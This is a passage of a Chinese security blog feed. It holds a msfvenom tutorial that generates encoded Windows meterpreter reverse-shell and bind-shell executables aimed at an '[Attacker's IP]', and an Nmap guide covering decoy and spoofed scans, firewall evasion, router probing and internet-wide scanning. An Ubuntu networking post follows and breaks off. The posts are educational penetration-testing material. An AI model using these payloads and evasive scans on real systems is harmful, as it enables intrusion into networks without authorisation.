&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;   &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;               &lt;span class="err"&gt;保存&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;            &lt;span class="err"&gt;指定一个自定义的变量，以确定输出格式&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;shellest&lt;/span&gt;                   &lt;span class="err"&gt;最小化生成&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;                       &lt;span class="err"&gt;查看帮助选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;formats&lt;/span&gt;               &lt;span class="err"&gt;查看&lt;/span&gt;&lt;span class="n"&gt;msf支持的输出格式列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;生成payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;生成payload，有有两个必须的选项：-p -f&lt;/p&gt;
&lt;p&gt;使用-p 来指定要使用的payload。&lt;/p&gt;
&lt;p&gt;可以使用下面的命令来查看所有msf可用的payload列表&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;msfvenom&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="n"&gt;payloads&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;-p选项也支持使用使用自定义的payload，需要使用 &amp;ldquo;-&amp;quot;，比如:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;payload_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;msfvenom&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;x86&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt; &lt;span class="n"&gt;win&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shikata_ga_nai&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;使用-f 来指定payload的输出格式&lt;/p&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./msfvenom -p windows/meterpreter/bind_tcp -f exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;使用下面的命令，可以产看msf支持的输出格式&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./msfvenom --help-formats
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一个典型的msfvenom使用举例如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;msfvenom&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="n"&gt;windows&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;meterpreter&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;reverse_tcp&lt;/span&gt; &lt;span class="n"&gt;lhost&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Attacker&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="c1"&gt;#039;s IP] lport=4444 -f exe -o /tmp/my_payload.exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;对payload进行编码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你使用了-b选项（设定了规避字符集），会自动调用编码器。&lt;/p&gt;
&lt;p&gt;其他情况下，你需要使用-e选项来使用编码模块，例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以使用下面的命令，来查看可用的编码器&lt;/p&gt;</description></item><item><title>Nmap在实战中的高级用法</title><link>https://www.lucien116.com/archives/72/</link><pubDate>Wed, 24 Aug 2016 03:22:50 +0000</pubDate><guid isPermaLink="false">http://www.101joy.com/?p=72</guid><description>&lt;p&gt;Nmap提供了四项基本功能（主机发现、端口扫描、服务与版本侦测、OS侦测）及丰富的脚本库。Nmap既能应用于简单的网络信息扫描，也能用在高级、复杂、特定的环境中：例如扫描互联网上大量的主机；绕开防火墙/IDS/IPS；扫描Web站点；扫描路由器等等。简要回顾Nmap简单的扫描方式：&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;p&gt;4&lt;/p&gt;
&lt;p&gt;5&lt;/p&gt;
&lt;p&gt;6&lt;/p&gt;
&lt;p&gt;7&lt;/p&gt;
&lt;p&gt;8&lt;/p&gt;
&lt;p&gt;9&lt;/p&gt;
&lt;p&gt;全面扫描：nmap-T4-Atargetip&lt;/p&gt;
&lt;p&gt;主机发现：nmap-T4-sn targetip&lt;/p&gt;
&lt;p&gt;端口扫描：nmap-T4 targetip&lt;/p&gt;
&lt;p&gt;服务扫描：nmap-T4-sV targetip&lt;/p&gt;
&lt;p&gt;操作系统扫描：nmap-T4-Otargetip&lt;/p&gt;
&lt;p&gt;上述的扫描方式能满足一般的信息搜集需求。而若想利用Nmap探索出特定的场景中更详细的信息，则需仔细地设计Nmap命令行参数，以便精确地控制Nmap的扫描行为。&lt;/p&gt;
&lt;p&gt;下面列举比较实用的高级应用场景和技巧。&lt;/p&gt;
&lt;h1 id="1nmap高级选项"&gt;1     Nmap高级选项&lt;/h1&gt;
&lt;h2 id="11-查看本地路由与接口"&gt;1.1  查看本地路由与接口&lt;/h2&gt;
&lt;p&gt;Nmap中提供了–iflist选项来查看本地主机的接口信息与路由信息。当遇到无法达到目标主机或想选择从多块网卡中某一特定网卡访问目标主机时，可以查看nmap –iflist中提供的网络接口信息。&lt;/p&gt;
&lt;p&gt;nmap –iflist&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image81.360doc.com/DownloadImg/2015/01/1617/49147857_1.png" title="Nmap在实战中的高级用法"&gt;&lt;img loading="lazy" src="http://image81.360doc.com/DownloadImg/2015/01/1617/49147857_1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="12-指定网口与ip地址"&gt;1.2  指定网口与IP地址&lt;/h2&gt;
&lt;p&gt;在Nmap可指定用哪个网口发送数据，-e &lt;interface&gt;选项。接口的详细信息可以参考–iflist选项输出结果。&lt;/p&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;p&gt;nmap -e eth0 targetip&lt;/p&gt;
&lt;p&gt;Nmap也可以显式地指定发送的源端IP地址。使用-S &lt;spoofip&gt;选项，nmap将用指定的spoofip作为源端IP来发送探测包。&lt;/p&gt;
&lt;p&gt;另外可以使用Decoy（诱骗）方式来掩盖真实的扫描地址，例如-D ip1,ip2,ip3,ip4,ME，这样就会产生多个虚假的ip同时对目标机进行探测，其中ME代表本机的真实地址，这样对方的防火墙不容易识别出是扫描者的身份。&lt;/p&gt;
&lt;p&gt;nmap -T4 -F -n -Pn -D192.168.1.100,192.168.1.101,192.168.1.102,ME 192.168.1.1&lt;/p&gt;
&lt;h2 id="13-定制探测包"&gt;1.3  定制探测包&lt;/h2&gt;
&lt;p&gt;Nmap提供–scanflags选项，用户可以对需要发送的TCP探测包的标志位进行完全的控制。可以使用数字或符号指定TCP标志位：URG, ACK, PSH,RST, SYN,and FIN。&lt;/p&gt;
&lt;p&gt;例如，&lt;/p&gt;
&lt;p&gt;nmap -sX -T4 –scanflags URGACKPSHRSTSYNFINtargetip&lt;/p&gt;
&lt;p&gt;此命令设置全部的TCP标志位为1，可以用于某些特殊场景的探测。&lt;/p&gt;
&lt;p&gt;另外使用–ip-options可以定制IP包的options字段。&lt;/p&gt;
&lt;p&gt;使用-S指定虚假的IP地址，-D指定一组诱骗IP地址（ME代表真实地址）。-e指定发送探测包的网络接口，-g（–source- port）指定源端口，-f指定使用IP分片方式发送探测包，–spoof-mac指定使用欺骗的MAC地址。–ttl指定生存时间。&lt;/p&gt;
&lt;h1 id="2扫描防火墙"&gt;2     扫描防火墙&lt;/h1&gt;
&lt;p&gt;防火墙在今天网络安全中扮演着重要的角色，如果能对防火墙系统进行详细的探测，那么绕开防火墙或渗透防火墙就更加容易。所以，此处讲解利用Nmap获取防火墙基本信息典型的用法。&lt;/p&gt;
&lt;p&gt;为了获取防火墙全面的信息，需尽可能多地结合不同扫描方式来探测其状态。在设计命令行参数时，可以综合网络环境来微调时序参数，以便加快扫描速度。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SYN扫描&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先可以利用基本的SYN扫描方式探测其端口开放状态。&lt;/p&gt;
&lt;p&gt;nmap -sS -T4 &lt;a href="https://www.lucien116.com"&gt;www.lucien116.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;扫描输出为：&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;p&gt;4&lt;/p&gt;
&lt;p&gt;5&lt;/p&gt;
&lt;p&gt;6&lt;/p&gt;
&lt;p&gt;7&lt;/p&gt;
&lt;p&gt;8&lt;/p&gt;
&lt;p&gt;9&lt;/p&gt;
&lt;p&gt;All997ports are filtered&lt;/p&gt;
&lt;p&gt;PORT    STATE  SERVICE&lt;/p&gt;
&lt;p&gt;80/tcp  open   http&lt;/p&gt;
&lt;p&gt;113/tcp closed auth&lt;/p&gt;
&lt;p&gt;507/tcp open   crs&lt;/p&gt;
&lt;p&gt;我们可以看到SYN方式探测到3个端口开放，而有997个端口被过滤。Nmap默认扫描只扫描1000个最可能开放的端口，如果想扫描全部的端口.&lt;/p&gt;
&lt;p&gt;使用命令nmap -sS -T4 &lt;strong&gt;-p-&lt;/strong&gt; www.lucien116.com&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;FIN扫描&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后可以利用FIN扫描方式探测防火墙状态。FIN扫描方式用于识别端口是否关闭，收到RST回复说明该端口关闭，否则说明是open或filtered状态。&lt;/p&gt;
&lt;p&gt;nmap -sF -T4 www.lucien116.com&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;p&gt;4&lt;/p&gt;
&lt;p&gt;5&lt;/p&gt;
&lt;p&gt;6&lt;/p&gt;
&lt;p&gt;7&lt;/p&gt;
&lt;p&gt;8&lt;/p&gt;
&lt;p&gt;9&lt;/p&gt;
&lt;p&gt;10&lt;/p&gt;
&lt;p&gt;11&lt;/p&gt;
&lt;p&gt;12&lt;/p&gt;
&lt;p&gt;13&lt;/p&gt;
&lt;p&gt;14&lt;/p&gt;
&lt;p&gt;15&lt;/p&gt;
&lt;p&gt;16&lt;/p&gt;
&lt;p&gt;17&lt;/p&gt;
&lt;p&gt;18&lt;/p&gt;
&lt;p&gt;19&lt;/p&gt;
&lt;p&gt;20&lt;/p&gt;
&lt;p&gt;21&lt;/p&gt;
&lt;p&gt;PORT      STATE         SERVICE&lt;/p&gt;
&lt;p&gt;7/tcp     open|filtered echo&lt;/p&gt;
&lt;p&gt;9/tcp     open|filtered discard&lt;/p&gt;
&lt;p&gt;11/tcp    open|filtered systat&lt;/p&gt;
&lt;p&gt;13/tcp    open|filtered daytime&lt;/p&gt;
&lt;p&gt;23/tcp    open|filtered telnet&lt;/p&gt;
&lt;p&gt;25/tcp    open|filtered smtp&lt;/p&gt;
&lt;p&gt;37/tcp    open|filtered time&lt;/p&gt;
&lt;p&gt;79/tcp    open|filtered finger&lt;/p&gt;
&lt;p&gt;80/tcp    open|filtered http&lt;/p&gt;
&lt;p&gt;更多端口，此处省略&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ACK扫描&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后利用ACK扫描判断端口是否被过滤。针对ACK探测包，未被过滤的端口（无论打开、关闭）会回复RST包。&lt;/p&gt;
&lt;p&gt;nmap -sA -T4 &lt;a href="https://www.lucien116.com"&gt;www.lucien116.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;扫描输出为：&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;p&gt;4&lt;/p&gt;
&lt;p&gt;5&lt;/p&gt;
&lt;p&gt;6&lt;/p&gt;
&lt;p&gt;7&lt;/p&gt;
&lt;p&gt;8&lt;/p&gt;
&lt;p&gt;9&lt;/p&gt;
&lt;p&gt;Notshown:997unfiltered ports&lt;/p&gt;
&lt;p&gt;PORT      STATE    SERVICE&lt;/p&gt;
&lt;p&gt;135/tcp   filtered msrpc&lt;/p&gt;
&lt;p&gt;1434/tcp  filtered ms-sql-m&lt;/p&gt;
&lt;p&gt;32777/tcp filtered sometimes-rpc17&lt;/p&gt;
&lt;p&gt;从结果可以997个端口是未被过滤的（unfiltered），而3个（135/1434/32777）被过滤了。所以，将ACK与FIN扫描 的结果结合分析，我们可以找到很多开放的端口。例如7号端口，FIN中得出的状态是:open或filtered，从ACK中得出的状态是 unfiltered，那么该端口只能是open的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Window扫描&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当然也可以利用Window扫描方式，得出一些端口信息，可以与之前扫描分析的结果相互补充。Window扫描方式只对某些TCPIP协议栈才有效。&lt;/p&gt;
&lt;p&gt;window扫描原理与ACK类似，发送ACK包探测目标端口，对回复的RST包中的Window size进行解析。在某些TCPIP协议栈实现中，关闭的端口在RST中会将Window size设置为0；而开放的端口将Window size设置成非0的值。&lt;/p&gt;
&lt;p&gt;nmap -sW -p- -T4 &lt;a href="https://www.lucien116.com"&gt;www.lucien116.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;输出结果：&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;p&gt;4&lt;/p&gt;
&lt;p&gt;5&lt;/p&gt;
&lt;p&gt;6&lt;/p&gt;
&lt;p&gt;7&lt;/p&gt;
&lt;p&gt;8&lt;/p&gt;
&lt;p&gt;9&lt;/p&gt;
&lt;p&gt;10&lt;/p&gt;
&lt;p&gt;11&lt;/p&gt;
&lt;p&gt;PORT      STATE    SERVICE&lt;/p&gt;
&lt;p&gt;7/tcp     open     echo&lt;/p&gt;
&lt;p&gt;9/tcp     open     discard&lt;/p&gt;
&lt;p&gt;11/tcp    open     systat&lt;/p&gt;
&lt;p&gt;13/tcp    open     daytime&lt;/p&gt;
&lt;p&gt;更多端口，此处省略&lt;/p&gt;
&lt;p&gt;在采用多种方式获取出防火墙状态后，可以进一步进行应用程序与版本侦测及OS侦测。&lt;/p&gt;
&lt;h1 id="3扫描路由器"&gt;3     扫描路由器&lt;/h1&gt;
&lt;p&gt;Nmap内部维护了一份系统与设备的数据库（nmap-os-db），能够识别数千种不同系统与设备。所以，可以用来扫描主流的路由器设备。&lt;/p&gt;
&lt;h2 id="31-扫描思科路由器"&gt;3.1  扫描思科路由器&lt;/h2&gt;
&lt;p&gt;nmap -p1-25,80,512-515,2001,4001,6001,9001 10.20.0.1/16&lt;/p&gt;
&lt;p&gt;思科路由器会在上述端口中运行了常见的服务。列举出上述端口开放的主机，可以定位到路由器设备可能的IP地址及端口状态。&lt;/p&gt;
&lt;h2 id="32-扫描路由器tftp"&gt;3.2  扫描路由器TFTP&lt;/h2&gt;
&lt;p&gt;nmap –sU –p69 –nvv target&lt;/p&gt;
&lt;p&gt;大多数的路由器都支持TFTP协议（简单文件传输协议），该协议常用于备份和恢复路由器的配置文件，运行在UDP 69端口上。使用上述命令可以探测出路由器是否开放TFTP。&lt;/p&gt;
&lt;h2 id="33-扫描路由器操作系统"&gt;3.3  扫描路由器操作系统&lt;/h2&gt;
&lt;p&gt;与通用PC扫描方式类似，使用-O选项扫描路由器的操作系统。-F用于快速扫描最可能开放的100个端口，并根据端口扫描结果进一步做OS的指纹分析。&lt;/p&gt;
&lt;p&gt;nmap -O -F -n 192.168.1.1&lt;img loading="lazy" src="http://image81.360doc.com/DownloadImg/2015/01/1617/49147857_2.png"&gt;&lt;/p&gt;
&lt;h1 id="4扫描互联网"&gt;4     扫描互联网&lt;/h1&gt;
&lt;p&gt;Nmap内部的设计非常强大灵活，既能扫描单个主机、小型的局域网，也可以扫描成千上万台主机从中发掘用户关注的信息。扫描大量主机，需要对扫描时序等参数进行仔细的优化。&lt;/p&gt;
&lt;h2 id="41-发现互联网上web服务器"&gt;4.1  发现互联网上web服务器&lt;/h2&gt;
&lt;p&gt;nmap -iR 100000 -sS -PS80 -p 80 -oG nmap.txt&lt;/p&gt;
&lt;p&gt;随机地产生10万个IP地址，对其80端口进行扫描。将扫描结果以greppable（可用grep命令提取）格式输出到nmap.txt文件。&lt;/p&gt;
&lt;p&gt;可以使用grep命令从输出文件提取关心的细节信息。&lt;/p&gt;
&lt;h2 id="42-统计互联网主机基本数据"&gt;4.2  统计互联网主机基本数据&lt;/h2&gt;
&lt;p&gt;Nmap的创始人Fyodor在2008年的Black Hat大会发表一篇演讲，讲的是如何使用Nmap来扫描互联网（Nmap: Scanning the Internet），资料地址： &lt;a href="http://nmap.org/presentations/BHDC08/"&gt;http://nmap.org/presentations/BHDC08/&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;Fyodor进行互联网扫描的初衷是统计出网络经验数据并用之优化Nmap的性能。例如，根据统计出每个端口开放的概率，优先扫描常见端口，以节省用户的时间。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;产生随机IP地址&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;产生100万个随机的IP地址，并将之保存到文件中，方便后续扫描时作为参数输入。&lt;/p&gt;
&lt;p&gt;nmap -iR 1200000 -sL -n | grep “not scanned” | awk &amp;lsquo;{print $2}’ | sort -n | uniq &amp;gt;! tp; head -25000000 tp &amp;gt;! tcp-allports-1M-IPs; rm tp&lt;/p&gt;
&lt;p&gt;上述命令含义：随机生成1200000个IP地址（-iR 120000），并进行列表扫描（-sL，列举出IP地址，不进行真正的扫描），不进行dns解析操作（-n），这样将产生Nmap列表扫描的结果。在此 结果中搜出未扫描的行（grep “not scanned”），打印出每一行的第二列内容（awk &amp;lsquo;{print $2}’，也就是IP地址），然后对获取到的IP地址进行排序（sort -n），然后剔除重复IP地址，将结果保存到临时文件tp，再取出前1000000个IP地址保存到tcp-allports-1M-IPs文件中，删除 临时文件。&lt;/p&gt;
&lt;p&gt;总之，此处产生了1000000个随机IP地址存放在tcp-allports-1M-IPs文件中。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优化主机发现&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;nmap -sP -PE -PP -PS21,22,23,25,80,113,31339-PA80,113,443,10042 –source-port 53 -T4 -iL tcp-allports-1M-IPs&lt;/p&gt;
&lt;p&gt;上述命令进行主机发现：使用产生的IP地址（-iL tcp-allports-1M-IPs），指定发送包的源端口为53（–source-port 53，该端口是DNS查询端口，一般的防火墙都允许来自此端口的数据包），时序级别为4（-T4，探测速度比较快），以TCP SYN包方式探测目标机的21,22,23,25,80,113,31339端口，以TCP ACK包方式探测对方80,113,443,10042端口，另外也发送ICMP ECHO/ICMP TIMESTAMP包探测对方主机。只要上述的探测包中得到一个回复，就可以证明目标主机在线。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;完整的扫描命令&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在准备了必要的IP地址文件，并对主机发现参数优化后，我们就得到最终的扫描命令：&lt;/p&gt;
&lt;p&gt;nmap -S [srcip] -d –max-scan-delay 10 -oAlogs/tcp-allports-%T-%D -iL tcp-allports-1M-IPs –max-retries 1–randomize-hosts -p- -PS21,22,23,25,53,80,443 -T4 –min-hostgroup 256 –min-rate175 –max-rate 300&lt;/p&gt;
&lt;p&gt;上述命令用于扫描互联网上100万台主机全部的TCP端口的开放情况。&lt;/p&gt;
&lt;p&gt;使用包含100万个IP地址的文件（-iL tcp-allports-1M-IPs），源端IP地址设置为srcip(指定一个IP地址，保证该IP地址位于统一局域网中，否则无法收到目标机的回 复包)，主机发现过程使用TCP SYN包探测目标机的21,22,23,25,53,80,443，扫描过程将随机打乱主机顺序（–randomize-hosts，因为文件中的IP 已经排序，这里将之打乱，避免被防火墙检查出），端口扫描过程检查全部的TCP端口（-p-，端口1到65535），使用时序级别为4（-T4，速度比较 快），将结果以XML/grepable/普通格式输出到文件中（-oA logs/tcp-allports-%T-%D，其中%T表示扫描时间，%D表示扫描日期）。&lt;/p&gt;
&lt;p&gt;-d表示打印调试出信息。&lt;/p&gt;
&lt;p&gt;–max-scan-delay 10表示发包最多延时10秒，防止特殊情景下等待过长的时间。&lt;/p&gt;
&lt;p&gt;–max-retries 1，表示端口扫描探测包最多被重传一次，防止Nmap在没有收到回复的情况下多次重传探测包，当然这样也会降低探测的准确性。&lt;/p&gt;
&lt;p&gt;–min-host-group 256表示进行端口扫描与版本侦测时，同时进行探测的主机的数量，这里至少256个主机一组来进行扫描，可以加快扫描速度。&lt;/p&gt;
&lt;p&gt;–min-rate 175和–max-rate 300，表示发包速率介于175和300之间，保证扫描速度不会太慢，也不会因为速率过高引起目标机的警觉。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;扫描结果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Fyodor组织的此次扫描得出很多重要结论，统计出了互联网最有可能开放的10个TCP端口。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;80 (http)&lt;/li&gt;
&lt;li&gt;23 (telnet)&lt;/li&gt;
&lt;li&gt;22 (ssh)&lt;/li&gt;
&lt;li&gt;443 (https)&lt;/li&gt;
&lt;li&gt;3389 (ms-term-serv)&lt;/li&gt;
&lt;li&gt;445 (microsoft-ds)&lt;/li&gt;
&lt;li&gt;139 (netbios-ssn)&lt;/li&gt;
&lt;li&gt;21 (ftp)&lt;/li&gt;
&lt;li&gt;135 (msrpc)&lt;/li&gt;
&lt;li&gt;25 (smtp)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最有可能开放的10个UDP端口。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;137 (netbios-ns)&lt;/li&gt;
&lt;li&gt;161 (snmp)&lt;/li&gt;
&lt;li&gt;1434 (ms-sql-m)&lt;/li&gt;
&lt;li&gt;123 (ntp)&lt;/li&gt;
&lt;li&gt;138 (netbios-dgm)&lt;/li&gt;
&lt;li&gt;445 (microsoft-ds)&lt;/li&gt;
&lt;li&gt;135 (msrpc)&lt;/li&gt;
&lt;li&gt;67 (dhcps)&lt;/li&gt;
&lt;li&gt;139 (netbios-ssn)&lt;/li&gt;
&lt;li&gt;53 (domain)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="5扫描web站点"&gt;5     扫描Web站点&lt;/h1&gt;
&lt;p&gt;Web是互联网上最广泛的应用，而且越来越多的服务倾向于以Web形式提供出来，所以对Web安全监管也越来越重要。目前安全领域有很多专门的 Web扫描软件（如AppScan、WebInspect、W3AF），能够提供端口扫描、漏洞扫描、漏洞利用、分析报表等诸多功能。而Nmap作为一款 开源的端口扫描器，对Web扫描方面支持也越来越强大，可以完成Web基本的信息探测：服务器版本、支持的Method、是否包含典型漏洞。功能已经远远 超过同领域的其他开源软件，如HTTPrint、Httsquash。&lt;/p&gt;
&lt;p&gt;目前Nmap中对Web的支持主要通过Lua脚本来实现，NSE脚本库中共有50多个HTTP相关的脚本。&lt;/p&gt;
&lt;p&gt;扫描实例：&lt;/p&gt;
&lt;p&gt;nmap -sV -p 80 -T4 –script http*,defaultscanme.nmap.org&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://image81.360doc.com/DownloadImg/2015/01/1617/49147857_3.png"&gt;&lt;/p&gt;
&lt;p&gt;　　上面以扫描scanme.nmap.org的Web应用展示Nmap提供Web扫描能力，从图中可以看到扫描结果中提供了比较丰富的信息。&lt;/p&gt;
&lt;p&gt;首先是应用程序及版本： &lt;strong&gt;Apachehttpd 2.2.14 (Ubuntu)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后搜出了该站点的affiliate-id:该ID可用于识别同一拥有者的不同页面。&lt;/p&gt;
&lt;p&gt;然后输出HTTP-headers信息，从中查看到基本配置信息。&lt;/p&gt;
&lt;p&gt;从http-title中，可以看到网页标题。某些网页标题可能会泄漏重要信息，所以这里也应对其检查。&lt;/p&gt;</description></item><item><title>Ubuntu中启用关闭Network-manager网络设置问题</title><link>https://www.lucien116.com/archives/70/</link><pubDate>Thu, 18 Aug 2016 17:25:36 +0000</pubDate><guid isPermaLink="false">http://www.101joy.com/?p=70</guid><description>&lt;h2 id="server版本"&gt;&lt;strong&gt;【Server版本】&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;在UbuntuServer版本中，因为只存有命令行模式，所以要想进行网络参数设置，只能通过修改/etc/network/interfaces。具体设置方法如下：&lt;/strong&gt; &lt;strong&gt;(1) UbuntuServer 修改 IP地址&lt;/strong&gt; &lt;strong&gt;打开/etc/network/interfaces&lt;/strong&gt; &lt;strong&gt;sudo vim/etc/network/interfaces&lt;/strong&gt; &lt;strong&gt;加入以下语句：&lt;/strong&gt; &lt;strong&gt;auto eth0&lt;/strong&gt; &lt;strong&gt;iface eth0inet static&lt;/strong&gt; &lt;strong&gt;addressxxx.xxx.xxx.xxx #IP地址&lt;/strong&gt; &lt;strong&gt;netmaskxxx.xxx.xxx.xxx #子网掩码&lt;/strong&gt; &lt;strong&gt;gatewayxxx.xxx.xxx.xxx #网关&lt;/strong&gt; &lt;strong&gt;(2) UbuntuServer 